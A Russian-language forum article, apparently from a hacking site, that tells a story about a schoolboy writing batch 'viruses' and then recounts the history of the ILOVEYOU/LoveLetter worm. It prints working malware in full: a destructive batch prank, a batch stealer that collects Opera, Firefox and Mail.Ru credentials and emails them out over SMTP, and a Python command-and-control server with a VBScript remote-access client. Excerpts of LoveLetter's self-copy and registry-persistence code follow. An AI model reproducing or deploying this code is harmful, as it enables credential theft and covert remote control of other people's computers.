Немного ностальгии: историческая вирусология или LoveLetter в цвете современности - 22 года спустя
И приветики, как бы.. Думаю, что о мне уже многие успели и забыть, а оно и не странно, ведь последняя моя работа датирована концом февраля. Я здесь не говорить о том, что случилось, как и где, не буду рассуждать кто прав, кто виноват, а тем уж более судить. Почему? Не хочу, все это обсуждалось уже миллионы раз, нет.. Миллиарды. А есть ли в этом смысл? Тогда расскажите мне каков.
Итак, переходим сразу к сути. Давненько я не брался за перо, скажем так, в ряду обстоятельств, поэтому вряд-ли выйдет что-то супер годное, коль у нас лишь обычная подборочка: без сюжета ( в процессе передумал), без пафоса.
В статье есть обороты личности: рассказ ведется то от лица автора, то от лица персонажа.
Щелчок пальцев; тишина; начинаем погружение в мир примитивной информационной безопасности.
Дисклеймер
На самом деле я против зла и то, что я покажу вам далее, может быть,
практически применено различного рода антагонистами. Сразу предупреждаю, что я, как автор этой писанины , снимаю с себя ответственность за то с каким умыслом будет использована эта информация дальше. Виноват только и только тот, кто применяет знания, но не тот, кто ими делится. Автор лишь преследует благие цели, используя способы и пути злоумышленников, раскрывает суть преступного механизма, открывая людям глаза, демонстрируя способы защиты, ведь лучший протект - это знания.
Педро: не мудрствуя лукаво в прошлом - или школьные проделки каждого cred: 2005-2012.
К слову это лишь предыстория к исторической сводке, хе-хе.
2006 год, теплый весенний вечер, близится к лету. Последние контрольные уже написаны, годовые выставлены, учебный год вскоре обретет конец.
Вот только что же делать в последнюю неделю? Родители гонят в школу, мол нечего прогуливать, уверены, что буду бесчинствовать и переворачивать дом вверх дном когда останусь один.
Меня зовут Педро Пугачевский и я типичный школьник на постсоветском пространстве нулевых годов с нетипичным именем, за которое кстати мне часто прилетает, а это повествование о том, как я познавал скриптинг и был отчислен из школы в последнюю неделю учебы. Поехали.
Тот самый вечер воскресенья, подготовив план на завтра, ищем в поисковике форум, на котором было бы расписано о BAT вирусах, банально переписываем содержимое на тетрадку, прежде немного исследовав код. Нельзя ведь запускать то, чего не понимаешь, верно?
(ностальгия немного, тема 2006 года)
Ну, небольшое отступление, рассказывать о БАТ командах и том, как раньше ими можно было приколоть друга или учителя информатики, смысла нет.
Формально и грубо говоря, сам вот этот файл - это набор системных интерпретаторов в виде текстового документа, которые просто выполняются через CMD. То есть если вставить команду в строку Виндоус, то произойдёт то же самое. Это уже для людей, которых не было ещё в той эпохе. Хе-е..
Сначала Педро решает протестировать простенькие примеры, типа:
Код:
Echo_inactive_inactive Привет, я Педро!!
pause
Этот пример выводит в командную строку текст, который мы укажем. Естественно, это понять было не тяжело, поэтому тестируем дальше.
Bash:
Echo_inactive_inactive off
for /l %%i in (1,1,10000) do mkdir "dir %%i"
Создадим 10.000 папок, почему нет.
Bash:
Echo_inactive_inactive off
start paint.exe
Или откроем рисовалку Пейнт, все это, конечно весело, но мне, как истинному Педро, хочется чего-то глобального, поэтому находим на форуме каком-то вот это чудо:
Bash:
@echo off
rundll32 keyboard,disable
rundll32 mouse,disable
copy %0 %windir%/system
echo run=%windir%/system/*.bat >> win.ini
echo run=%windir%/system/*.bat >> system.ini
label LOHOLAMMER
if exist c:\autoexec.bat attrib c:\autoexec.bat -h -s -a -r
deltree /y c:\autoexec.bat > nul
echo autoexec.bat echo Учитель лох > c:\autoexec.bat
rundll32 mouse,enable
echo var WSHShell = WScript.CreateObject("WScript.Shell"); > %temp%\mes.js
echo WSHShell.Popup("Warning,..Здарова, учитель, у тебя 10 секунд чтобы разбить системник, иначе все компы класса сгорят."); >> %temp%\mes.js
start %temp%\mes.js
deltree /y %temp%\mes.js
attrib c:\autoexec.bat +h +s +a +r
pause
cls
Ну, как бы здесь все примитивно: отключаем клавиатуру и мышь, попадаем в автозагрузку, переименовываем диск С и выводим окошко с варнингом.
Если перенесемся на мгновение в реальность, то в большинстве своем это уже не актуально от слова совсем. Хотя на людей без антивирусного ПО, как вот автор, сработает, да, но обычными шалостями мало чего можно достичь, пример батника, который можно использовать даже сейчас(пароли как-бы ворует):
Bash:
@echo off
md %systemroot%\wincs
md %SystemDrive%\pass\
md %SystemDrive%\pass\opera\
md %SystemDrive%\pass\Mozilla\
md %SystemDrive%\pass\MailAgent\
md %SystemDrive%\pass\MailAgent\reg
attrib %systemroot%\wincs +h +s +r
attrib %SystemDrive%\pass +h +s +r
copy /y "%systemroot%\blat.exe" "%systemroot%\wincs\blat.exe"
copy /y "%systemroot%\blat.dll" "%systemroot%\wincs\blat.dll"
copy /y "%systemroot%\blat.lib" "%systemroot%\wincs\blat.lib"
CD /D %APPDATA%\Opera\Opera\
copy /y wand.dat %SystemDrive%\pass\opera\wand.dat
copy /y cookies4.dat %SystemDrive%\pass\opera\cookies4.da
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins2
regedit.exe -ea %SystemDrive%\pass\MailAgent\reg\agent_3.reg "HKEY_CURRENT_USER\software\Mail.Ru\Agent\magent_logins3
CD /D %APPDATA%
Xcopy Mra\Base %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y /E >nul
Xcopy Mra\Update\ver.txt %SystemDrive%\pass\MailAgent /K /H /G /Q /R /S /Y >nul
cd %AppData%\Mozilla\Firefox\Profiles\*.default\
copy /y cookies.sqlite %SystemDrive%\pass\Mozilla\cookies.sqlite
copy /y key3.db %SystemDrive%\pass\Mozilla\key3.db
copy /y signons.sqlite %SystemDrive%\pass\Mozilla\signons.sqlite
copy /y %Windir%\Rar.exe %SystemDrive%\pass\Rar.exe >nul
del /s /q %SystemRoot%\Rar.exe
%SystemDrive%\pass\rar.exe a -r %SystemDrive%\pass\pass.rar %SystemDrive%\pass\
copy /y %SystemDrive%\pass\pass.rar %systemroot%\wincs\pass.rar
cd %systemroot%\wincs
%systemroot%\wincs\blat.exe -install -server smtp.yandex.ru -port 587 -f логин@yandex.ru -u логин -pw Пароль
ren *.rar pass.rar
%systemroot%\wincs\blat.exe -body FilesPassword -to логин@yandex.ru -attach %systemroot%\wincs\pass.rar
rmdir /s /q %SystemDrive%\pass
rmdir /s /q %systemroot%\wincs
del /s /q %systemroot%\blat.exe
del /s /q %systemroot%\blat.dll
del /s /q %systemroot%\blat.lib
attrib +a +s +h +r %systemroot%\wind.exe
EXIT
cls
Как бы странно не звучало, но эта штука работает на седьмом Виндоусе без любого защитного ПО.
Возвращаемся к Педро.
Понедельник, раннее утро.
Сегодня я решил встать пораньше и поспешить в школу, ведь первым уроком та самая информатика, где я и смогу протестировать этот батник.
Спустя несколько часов.
Переписав в обычный блокнот текст “вируса”, хотя на то время его можно было вполне таковым считать, сохраняю как “Олег, хватит курить.txt.bat” (Дань памяти информатику автора, который умер от рака легких).
Затем с помощью склейщика мы можем сменить иконку под текстовый файл, скомпилировав в exe, но я не помню, было ли в 2006 году такое, поэтому этот процесс упустим.
В целом, далее манипуляции происходят исходя из того, что все компьютеры в классе информатики находятся в одной локальной сети. И с легкостью можно переместить на рабочий стол сие батник, но цель Педро - компьютер учителя.
Поэтому Педро переходит в Сетевое окружение и помещает вредонос на целевую машину, после ждет реакции.
Следующий кадр: отец избивает Педро за то, что того выгнали из школы, а это была единственное учебное заведение в городе.
Черный экран, титры. Теперь мы переносимся немного вперед во времени, техникум соседнего города, 2011 год. Тот самый Педро сидит со стареньким ноутбуком на коленях, преподаватель, увидев интерес ко всяким шалостям, дал нашему герою следующую задачу: Используя исключительно системные утилиты, получить доступ к устройству. Сижу вот значится ломаю себе голову, сразу вспоминаются мои шалости с БАТ, но на ум ничего особо не приходит.
Но после подумал о вирусе ILoveyou, который работал на VBS, то есть на сценариях Виндоус, если последнее включены в системе. Имея уже некоторые познания в Питоне и VBS скриптинге, я могу попытаться воссоздать что-то сервера и эксполита VBS. Займемся этим.
Автор не особо кодер, поэтому сервер будет выглядеть следующим образом:
Python:
from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer
import cgi
import os
import sys
from Queue import Queue
from threading import Thread
from shutil import copyfile, rmtree
import ntpath
PORT_NUMBER = 8080
class myHandler(BaseHTTPRequestHandler):
def do_GET(self):
# File download
if self.path.startswith('/f/'):
# Compile path
filename = ntpath.basename(self.path)
filepath = './upload/%s' % filename
# 404 if no valid file
if not os.path.exists(filepath):
self.send_error(404)
return
# Return file
with open(filepath, 'rb') as f:
self.send_response(200)
self.send_header('content-type', 'application/octet-stream')
self.end_headers()
self.wfile.write(f.read())
# Remove file from disk
os.remove(filepath)
return
if commands.empty():
content = 'NOOP'
else:
content = commands.get()
# Return result
self.send_response(200)
self.send_header('content-type', 'text/plain')
self.end_headers()
self.wfile.write(content)
return
# Result from executing command
def do_POST(self):
global context
# File upload
form = cgi.FieldStorage(fp=self.rfile, headers=self.headers, environ={'REQUEST_METHOD': 'POST'})
cmd_data = form['cmd'].file.read()
result_filename = form['result'].filename
result_data = form['result'].file.read()
# Show '> ' command input string after command output
if context:
cmd_data = cmd_data.replace(context + ' ', '')
print cmd_data
# Store file
if self.path == '/upload':
# Create folder if required
if not os.path.exists('Downloads'):
os.mkdir('Downloads')
# Write file to disk
with file(os.path.join('Downloads', result_filename), 'wb') as f:
f.write(result_data)
print 'File \'%s\' downloaded.' % result_filename
# Print output
else:
print result_data
sys.stdout.write('%s> ' % context)
# Respond
self.send_response(200)
self.send_header('content-type', 'text/plain')
self.end_headers()
self.wfile.write('OK')
return
# Do not write log messages to console
def log_message(self, format, *args):
return
def run_httpserver():
#commands.put('GET C:\\secret.bin')
#commands.put('SHELL dir C:\\')
#commands.put('SHELL type client.vbs')
global server
server = HTTPServer(('', PORT_NUMBER), myHandler)
server.serve_forever()
commands = Queue()
server = None
context = ''
variables = {}
def main():
# Start HTTP server thread
#run_httpserver() # Run without treads for debugging purposes
httpserver = Thread(target=run_httpserver)
httpserver.start()
# Loop to add new commands
global context, variables
s = ''
while True:
s = raw_input('%s> ' % context)
s = s.strip()
splitcmd = s.split(' ', 1)
cmd = splitcmd[0].upper()
# In a context
if context == 'SHELL' and cmd != 'CD':
cmd = context
if s.upper() == 'EXIT':
context = ''
continue
else:
args = s
# Ignore empty commands
if not args:
continue
# No context
else:
args = ''
if len(splitcmd) > 1:
args = splitcmd[1]
# Ignore empty commands
if not cmd:
continue
# UPLOAD
elif cmd == 'UPLOAD':
args = args.strip("\"")
# Check file existence
if not os.path.exists(args):
print 'File not found: %s' % args
continue
# Check if LHOST variable is set
if 'LHOST' not in variables:
print 'Variable LHOST not set'
continue
lhost = variables['LHOST']
# Create folder if required
if not os.path.exists('upload'):
os.mkdir('upload')
# Copy file
filename = ntpath.basename(args)
copyfile(args, './upload/%s' % filename)
# Update command and args
cmd = 'WGET'
args = 'http://%s:%d/f/%s' % (lhost, PORT_NUMBER, filename)
# UNSET
elif cmd == 'UNSET':
if args.upper() in variables:
del variables[args.upper()]
continue
# SHELL
elif cmd == 'SHELL' and not args:
context = 'SHELL'
continue
# SET
elif cmd == 'SET':
if args:
(variable, value) = args.split(' ')
variables[variable.upper()] = value
else:
print '\n'.join('%s: %s' % (key, value) for key,value in variables.iteritems())
continue
# HELP
elif cmd == 'HELP':
print 'Supported commands:\n' \
'- CD [directory] - Change directory. Shows current directory when without parameter.\n' \
'- DOWNLOAD [path] - Download the file at [path] to the .\\Downloads folder.\n' \
'- GETUID - Get shell user id.\n' \
'- GETWD - Get working directory. Same as CD.\n' \
'- HELP - Show this help.\n' \
'- IFCONFIG - Show network configuration.\n' \
'- KILL - Stop script on the remote host.\n' \
'- PS - Show process list.\n' \
'- PWD - Same as GETWD and CD.\n' \
'- SET [name] [value] - Set a variable, for example SET LHOST 192.168.1.77.\n' \
' When entered without parameters, it shows the currently set variables.\n' \
'- SHELL [command] - Execute command in cmd.exe interpreter;\n' \
' When entered without command, switches to SHELL context.\n' \
'- SHUTDOWN - Exit this commandline interface (does not shutdown the client).\n' \
'- SYSINFO - Show sytem information.\n' \
'- SLEEP [ms] - Set client polling interval;\n' \
' When entered without ms, shows the current interval.\n' \
'- UNSET [name] - Unset a variable\n' \
'- UPLOAD [localpath] - Upload the file at [path] to the remote host.\n' \
' Note: Variable LHOST is required.\n' \
'- WGET [url] - Download file from url.\n'
continue
# SHUTDOWN
elif cmd == 'SHUTDOWN':
server.shutdown()
if os.path.exists('./upload'):
rmtree('./upload')
print 'Shutting down %s' % os.path.basename(__file__)
exit(0)
commands.put(' '.join([cmd, args]))
if __name__ == '__main__':
main()
Возможно, не самое лучшее решение, но написано буквально за минут 30, особо не ломая голову.
Файлик .vbs закодил наш Педро таким манером:
Visual Basic:
Option Explicit
On Error Resume Next
' Instantiate objects
Dim shell: Set shell = CreateObject("WScript.Shell")
Dim fs: Set fs = CreateObject("Scripting.FileSystemObject")
Dim wmi: Set wmi = GetObject("winmgmts:{impersonationLevel=impersonate}!\\.\root\CIMV2")
Dim http: Set http = CreateObject("WinHttp.WinHttpRequest.5.1")
If http Is Nothing Then Set http = CreateObject("WinHttp.WinHttpRequest")
If http Is Nothing Then Set http = CreateObject("MSXML2.ServerXMLHTTP")
If http Is Nothing Then Set http = CreateObject("Microsoft.XMLHTTP")
' Initialize variables used by GET/WGET
Dim arrSplitUrl, strFilename, stream
' Configuration
Dim strHost, strPort, strUrl, strCD, intSleep
strHost = "127.0.0.1"
strPort = "8080"
intSleep = 5000
strUrl = "http://" & strHost & ":" & strPort
strCD = "."
' Periodically poll for commands
Dim strInfo
While True
' Fetch next command
http.Open "GET", strUrl & "/", False
http.Send
Dim strRawCommand
strRawCommand = http.ResponseText
' Determine command and arguments
Dim arrResponseText, strCommand, strArgument
arrResponseText = Split(strRawCommand, " ", 2)
strCommand = arrResponseText(0)
strArgument = ""
If UBound(arrResponseText) > 0 Then
strArgument = arrResponseText(1)
End If
' Fix ups
If strCommand = "PWD" Or strCommand = "GETWD" Then
strCommand = "CD"
strArgument = ""
End If
' Execute command
Select Case strCommand
' Sleep X seconds
Case "NOOP"
WScript.Sleep intSleep
' Get host info
Case "SYSINFO"
Dim objOS, strComputer, strOS, strBuild, strServicePack, strArchitecture, strLanguage
For Each objOS in wmi.ExecQuery("SELECT * FROM Win32_OperatingSystem")
strComputer = objOS.CSName
strOS = objOS.Caption
strBuild = objOS.BuildNumber
strServicePack = objOS.CSDVersion
strArchitecture = objOS.OSArchitecture
strLanguage = objOS.OSLanguage
Exit For
Next
Dim strVersion
strVersion = strOS & " (Build " & strBuild
If strServicePack <> "" Then
strVersion = strVersion & ", " & strServicePack
End If
strVersion = strVersion & ")"
strInfo = "Computer: " & strComputer & vbCrLf & _
"OS: " & strVersion & vbCrLf & _
"Architecture: " & strArchitecture & vbCrLf & _
"System Language: " & strLanguage
SendStatusUpdate strRawCommand, strInfo
' Current user, including domain
Case "GETUID"
Dim strUserDomain, strUsername
strUserDomain = shell.ExpandEnvironmentStrings("%USERDOMAIN%")
strUsername = shell.ExpandEnvironmentStrings("%USERNAME%")
strInfo = "Username: " & strUserDomain & "\" & strUserName
SendStatusUpdate strRawCommand, strInfo
' IP configuration
Case "IFCONFIG"
Dim arrNetworkAdapters: Set arrNetworkAdapters = wmi.ExecQuery("SELECT * FROM Win32_NetworkAdapterConfiguration WHERE MACAddress > ''")
Dim objAdapter
strInfo = ""
For Each objAdapter In arrNetworkAdapters
strInfo = strInfo & objAdapter.Description & vbCrLf
If IsArray(objAdapter.IPAddress) Then
strInfo = strInfo & Join(objAdapter.IPAddress, vbCrLf) & vbCrLf & vbCrLf
Else
strInfo = strInfo & "[Interface down]" & vbCrLf & vbCrLf
End If
Next
' Remove trailing \r\n's
strInfo = Mid(strInfo, 1, Len(strInfo)-4)
SendStatusUpdate strRawCommand, strInfo
' Process list
Case "PS"
Dim arrProcesses: Set arrProcesses = wmi.ExecQuery("SELECT * FROM Win32_Process")
strInfo = PadRight("PID", 5) & " " & PadRight("Name", 24) & " " & "Session" & " " & PadRight("User", 19) & " " & "Path" & vbCrLf & _
PadRight("---", 5) & " " & PadRight("----", 24) & " " & "-------" & " " & PadRight("----", 19) & " " & "----" & vbCrLf
Dim objProcess, strPID, strName, strSession, intHresult, strPDomain, strPUsername, strDomainUser, strPath
For Each objProcess In arrProcesses
strPID = objProcess.Handle
strName = objProcess.Name
strSession = objProcess.SessionId
intHresult = objProcess.GetOwner(strPUsername, strPDomain)
Select Case intHresult
Case 0
strDomainUser = strPDomain & "\" & strPUsername
Case 2
strDomainUser = "[Access Denied]"
Case 3
strDomainUser = "[Insufficient Privilege]"
Case 8
strDomainUser = "[Unknown Failure]"
Case Else
strDomainUser = "[Other]"
End Select
strPath = objProcess.ExecutablePath
strInfo = strInfo & PadRight(strPid, 5) & " " & PadRight(strName, 24) & " " & PadRight(strSession, 7) & " " & PadRight(strDomainUser, 19) & " " & strPath & vbCrLf
Next
' Remove trailing newline
strInfo = Mid(strInfo, 1, Len(strInfo)-2)
SendStatusUpdate strRawCommand, strInfo
' Set sleep time
Case "SLEEP"
If strArgument <> "" Then
intSleep = CInt(strArgument)
SendStatusUpdate strRawCommand, "Sleep set to " & strArgument & "ms"
Else
Dim strSleep
strSleep = CStr(intSleep)
SendStatusUpdate strRawCommand, "Sleep is currently set to " & strSleep & "ms"
strSleep = Empty
End If
' Execute command
Case "SHELL"
'Execute and write to file
Dim strOutFile: strOutFile = fs.GetSpecialFolder(2) & "\rso.txt"
shell.Run "cmd /C pushd """ & strCD & """ && " & strArgument & "> """ & strOutFile & """ 2>&1", 0, True
' Read out file
Dim file: Set file = fs.OpenTextFile(strOutfile, 1)
Dim text
If Not file.AtEndOfStream Then
text = file.ReadAll
Else
text = "[empty result]"
End If
file.Close
fs.DeleteFile strOutFile, True
' Set response
SendStatusUpdate strRawCommand, text
' Clean up
strOutFile = Empty
text = Empty
' Change Directory
Case "CD"
' Only change directory when argument is provided
If Len(strArgument) > 0 Then
Dim strNewCdPath
strNewCdPath = GetAbsolutePath(strArgument)
If fs.FolderExists(strNewCdPath) Then
strCD = strNewCdPath
End If
End If
SendStatusUpdate strRawCommand, strCD
' Download a file from a URL
Case "WGET"
' Determine filename
arrSplitUrl = Split(strArgument, "/")
strFilename = arrSplitUrl(UBound(arrSplitUrl))
strFilename = GetAbsolutePath(strFilename)
' Fetch file
Err.Clear() ' Set error number to 0
http.Open "GET", strArgument, False
http.Send
If Err.number <> 0 Then
SendStatusUpdate strRawCommand, "Error when downloading from " & strArgument & ": " & Err.Description
Else
' Write to file
Set stream = createobject("Adodb.Stream")
With stream
.Type = 1 'adTypeBinary
.Open
.Write http.ResponseBody
.SaveToFile strFilename, 2 'adSaveCreateOverWrite
End With
' Set response
SendStatusUpdate strRawCommand, "File download from " & strArgument & " successful."
End If
' Clean up
arrSplitUrl = Array()
strFilename = Empty
' Send a file to the server
Case "DOWNLOAD"
Dim strFullSourceFilePath
strFullSourceFilePath = GetAbsolutePath(strArgument)
' Only download if file exists
If fs.FileExists(strFullSourceFilePath) Then
' Determine filename
arrSplitUrl = Split(strFullSourceFilePath, "\")
strFilename = arrSplitUrl(UBound(arrSplitUrl))
' Read the file to memory
Set stream = CreateObject("Adodb.Stream")
stream.Type = 1 ' adTypeBinary
stream.Open
stream.LoadFromFile strFullSourceFilePath
Dim binFileContents
binFileContents = stream.Read
' Upload file
DoHttpBinaryPost "upload", strRawCommand, strFilename, binFileContents
' Clean up
binFileContents = Empty
' File does not exist
Else
SendStatusUpdate strRawCommand, "File does not exist: " & strFullSourceFilePath
End If
' Clean up
arrSplitUrl = Array()
strFilename = Empty
strFullSourceFilePath = Empty
' Self-destruction, exits script
Case "KILL"
SendStatusUpdate strRawCommand, "Goodbye!"
WScript.Quit 0
' Unknown command
Case Else
SendStatusUpdate strRawCommand, "Unknown command"
End Select
' Clean up
strRawCommand = Empty
arrResponseText = Array()
strCommand = Empty
strArgument = Empty
strInfo = Empty
Wend
Function PadRight(strInput, intLength)
Dim strOutput
strOutput = LEFT(strInput & Space(intLength), intLength)
strOutput = LEFT(strOutput & String(intLength, " "), intLength)
PadRight = strOutput
End Function
Function GetAbsolutePath(strPath)
Dim strOutputPath
strOutputPath = ""
' Use backslashes
strPath = Replace(strPath, "/", "\")
' Absolute paths : \Windows C:\Windows D:\
' Relative paths: .. ..\ .\dir .\dir\ dir dir\ dir1\dir2 dir1\dir2\
If Left(strPath, 1) = "\" Or InStr(1, strPath, ":") <> 0 Then
strOutputPath = strPath
Else
strOutputPath = strCD & "\" & strPath
End If
GetAbsolutePath = fs.GetAbsolutePathName(strOutputPath)
End Function
Function SendStatusUpdate(strText, strData)
Dim binData
binData = StringToBinary(strData)
DoHttpBinaryPost "cmd", strText, "cmdoutput", binData
End Function
Function DoHttpBinaryPost(strActionType, strText, strFilename, binData)
' Compile POST headers and footers
Const strBoundary = "----WebKitFormBoundaryNiV6OvjHXJPrEdnb"
Dim binTextHeader, binText, binDataHeader, binFooter, binConcatenated
binTextHeader = StringToBinary("--" & strBoundary & vbCrLf & _
"Content-Disposition: form-data; name=""cmd""" & vbCrLf & vbCrLf)
binDataHeader = StringToBinary(vbCrLf & _
"--" & strBoundary & vbCrLf & _
"Content-Disposition: form-data; name=""result""; filename=""" & strFilename & """" & vbCrLf & _
"Content-Type: application/octet-stream" & vbCrLf & vbCrLf)
binFooter = StringToBinary(vbCrLf & "--" & strBoundary & "--" & vbCrLf)
' Convert command to binary
binText = StringToBinary(strText)
' Concatenate POST headers, data elements and footer
Dim stream : Set stream = CreateObject("Adodb.Stream")
stream.Open
stream.Type = 1 ' adTypeBinary
stream.Write binTextHeader
stream.Write binText
stream.Write binDataHeader
stream.Write binData
stream.Write binFooter
stream.Position = 0
binConcatenated = stream.Read(stream.Size)
' Post data
http.Open "POST", strUrl & "/" & strActionType, False
http.SetRequestHeader "Content-Length", LenB(binConcatenated)
http.SetRequestHeader "Content-Type", "multipart/form-data; boundary=" & strBoundary
http.SetTimeouts 5000, 60000, 60000, 60000
http.Send binConcatenated
' Receive response
DoHttpBinaryPost = http.ResponseText
End Function
Function StringToBinary(Text)
Dim stream: Set stream = CreateObject("Adodb.Stream")
stream.Type = 2 'adTypeText
stream.CharSet = "us-ascii"
' Store text in stream
stream.Open
stream.WriteText Text
' Change stream type To binary
stream.Position = 0
stream.Type = 1 'adTypeBinary
' Return binary data
StringToBinary = stream.Read
End Function
Естественно указываем IP машины, на которой запущен слушатель-сервер, но думаю, сами понимаете насколько все плохо, раз в самом “вирусе” есть айпи атакующей машины.
Преподаватель похвалил нашего Педро за сообразительность, а после, раз уж его ученик использовал системные сценарии для эксплуатации, то он решил поведать о этом небольшую историю, а именно о вирусе, который нанес около 15 млрд. долларов ущерба по всему миру и заразил около 155 млн. устройств - ILoveyou.
На деле вся эта история была лишь подводкой к этому рассказу. Мы окунемся в прошлое, разберемся что, как и где, а после немного обновим сие вредонос, протестировав его в современных реалиях.
Немного ностальгии: историческая вирусология или LoveLetter в цвете современности - 22 года спустя
Итак, вредонос Iloveyou или же LoveLetter, чертовая легенда начала нулевых, которая действительно взбудоражила весь мир на то время.
Ведь именно тогда Виндоус начала обретать популярность и распространяться в государственных учреждениях: банках, крупных компаниях, даже в Пентагоне.
Как по мне, идеально подобранное время, ведь если бы создатель подождал хотя бы до 2003 года, то вряд-ли бы все сработало так гладко, ведь в то время вышла ХР.
И вот - 2000 год, ночь с 4 на 5 мая и первое сообщение на Outlook из Филиппин с заголовком “Love Letter for You” и прикрепленным файлом Love_Letter_for_You.TXT.vbs.
Как бы сами понимаете, что в 2000 году компьютеры были лишь у 25% населения, а может и того меньше кстати, о понятии "безопасность в сети" тогда и речи не шло, а примитивная социальная инженерия, типа этой, только сейчас кажется абсурдной, но тогда это работало в 90% случаев, от чего и такое дикое распространение.
И что же происходит при открытии такого вот любовного письма?
(Кстати ниже будут тесты на различных версиях Виндоус и оценка работоспособности этой штуки в наших реалиях, в экспериментах примет участие как оригинальная версия червя, так и обновленная от 2021 года).
Для начала этот зловред рассылал копию самого себя с тем же самым текстом всем контактам в Outlook’e, далее он шифровал файлы с определенным расширением, заменяя их на свой код, оригинал или удалялся, или прятался. В последних версиях был добавлен вариант распространения через ARC каналы. Вирус не просто кодировал все фото, видео и музыку, он в основе своей занимался кражей паролей от доступа к Интернет, да, но то время это было актуально.
Кстати, этот простенький, с первого взгляда, вредонос был удостоен чести попасть в книгу рекордов Гиннесса, как самый дорогостоящий вирус в истории человечества.
Как и в примере с Педро здесь был сделан упор на включенную отработку сценариев Виндоус, то есть VBS, а хитрость была ещё и в том ,что в то время во многих была включена настройка скрытия расширения системных файлов, хотя на моей виндовс ‘98 , такой штуки не было и все было по дефолту с расширениями. (Сейчас кстати в папке он отображается без .VBS, ы).
Как я уже ранее говорил, ущерб от этого червя нулевых составил около 15 млрд. долларов, должно быть создатель невероятно богат и сидит работает где-то в Майкрософт. Ммм, не совсем.
Кстати, официально имя автора было раскрыто только в 2020 году, им оказался житель Филиппин Анель де Гузман. Он озвучил множество версий: что, как и почему, но все было ради того, чтобы уйти от наказания, кстати, это-то ему и удалось.
Из его уст звучали самые разнообразные версии, объясняющие почему именно от его почты начался этот хаос мирового маштаба.
Официальной теорией до 2020 года, было то, что не он создатель этого вредоноса, а его друг, который влюбился в его девушку и решил её взломать.. Эм-м.. Да, странная любоФФь. Упустим. А уже от ПК девушки было прислано письмо Анелю, который якобы случайно его открыл.
Но недавно он заявил, что является истинным создателем Iloveyou, никакая ответственность ему уже не грозит из-за срока давности дела в 22 года.
Как оказалось де Гузман создал этот вирус на базе своей прошлой разработки из колледжа, только добавив ему возможность рассылаться всем в списке контактов через аутлук.
Как проект или дипломная работа, первая версия этого вредоноса была создана, тогда ещё студентом, де Гузманом в 1998.
Тогда это был простой сценарий, который воровал все пароли и личные данные, а после и отсылал те через аутлук создателю.
В то время Анель пытался этим продемонстрировать надобность защиты персональных данных, но преподаватели не оценили его проект и на этом все закончилось.
Хотя его последнее заявление о том, как распространялся вредонос совсем уж похоже на неудачный стендап: он скинул готовый вирус кому-то из Сингапура, а после пошел пить пиво с другом. Спустя несколько дней он узнает, что его ищет полиция от своей матери, которая спрятала все оборудование сына и прикрывала его.
Май 2020, Манила, Филиппины. Некий журналист-расследователь Джеф Уайт в ходе написания книги о киберпреступности нашел нашего пациента работающим в ларьке по починке мобильных телефонов.
В коротеньком интервью де Гузман признается в создании этого зловреда, взяв полностью вину на себя.
Итак, первый запуск скрипта Iloveyou , что же происходит - разберемся в подробностях.
Сперва происходит массовое копирование в системные директории, типа system32 и реестр, затем запускается сканирование файлов с указанными расширениями, в оригинале были указаны: mp3, 3gp, jpeg и js. Все файлы с такими расширениями подвергались замене на копию скрипта, но с названием заменяемого файла.
В некоторых, более доработанных версиях, была возможность загрузить дополнительные вирусные модули, которые впоследствии приводили к отказу системы.
К слову, немного статистики, через 5 дней после появления вируса, заражено было больше 4.000.000 машин. Ну сами понимаете на то время, это очень много. Суммарно заражено более 155 млн. устройств, а ущерб составил от 7 до 15 млрд. долларов. Некоторые компании прекратили свою работу навсегда.
Ну, а теперь погнали к практике. Мне удалось раздобыть практически оригинальную версию любовного письма, после мы его слегка модифицируем, идем к тестам.
Итак, расскажу заодно, может кому пригодиться, как я ставил образ 98-й на VM VirtualBox. Особо сложно ничего нет, просто придется скачать заранее размеченное пространство, вместе с установленной там системой и обозначить его как виртуальный жесткий диск для системы.
Делается это просто, сперва создаем новую машину: обозначаем ,что это 98-й шиндоус, как либо называем его. Очень важный нюанс - выдать нашей машине целое значение оперативной памяти, в противном случае он будет говорить, что ему её недостаточно. 512 мегабайт хватает с лихвой, но я остановился на 1024, хотя сперва выдал ему нецелое значение в 3333.
Кликаем далее, использовать существующий виртуальный диск, и выбираем вот этот вот, который скачать можно здесь. (ссылка).
После создания машины, переходим в настройки, система - процессор. Ставим один процессор и одно ядро, включаем функцию PAE/NX, а это в свою очередь режим работы встроенного блока управления памятью x86-совместимых процессоров.
В настройке дисплея желательно врубить ускорение 3D графики, готово к запуску.
Кстати 95-я ставится таким же образом.
Итак, специально заходим в Майкрософт Аутлук, делаем там почту и создаем пару контактов, потом создадим-ка парочку фотографий, рисунков и файлов с форматом .mp3. А теперь и откроем наше любовное письмо нулевых.
Сразу же можно заметить, как заменяются аудиофайлы на копии скрипта, затем открываются окошки с OutLook и происходит рассылка на все имеющиеся контакты.
Если исследовать более глубоко, то его можно найти в папке windows, но уже под названием win32DLL.vbs и MSKernel32.vbs
, отличительная черта расширение vbs.
Как избавиться от этой напасти? Просто, проще некуда, их банально можно удалять и на этом все закончится, ну естественно некоторые данные уже не спасти.
Но оказалось не все так просто, ведь дело имеем мы уже с более новой версией. Для начала давайте исследуем сам файл, открыв его в редакторе кода.
Ну, первое, что бросилось мне в глаза - пути копирования и название файлов:
Bash:
rem Copy itself into VBScript files MSKernel32.vbs, Win32DLL.vbs and
rem LOVE-LETTER-FOR-YOU.TXT.vbs
c.Copy(dirsystem & "\MSKernel32.vbs")
c.Copy(dirwin & "\Win32DLL.vbs")
c.Copy(dirsystem & "\LOVE-LETTER-FOR-YOU.TXT.vbs")
Затем этот умник регистрируется в реестре, чтобы запускаться при каждом запуске системы:
Код:
rem Set the system to automatically run MSKernel32.vbs and Win32DLL.vbs on startup.
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\MSKernel32", dirsystem & "\MSKernel32.vbs"
regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\RunServices\Win32DLL", dirwin & "\Win32DLL.vbs"
После этого наш зловред заменяет домашнюю страницу Internet Explorer ссылкой, указывающей на исполняемую программу «WIN-BUGSFIX.exe». Когда файл загружен, червь также добавляет его в реестр, дабы стиллер запустился при повторном запуске машины.
Исполняемая часть, которую LoveLetter, а именно таково его второе имя, загружает из Интернета, представляет собой троян-стиллер паролей.
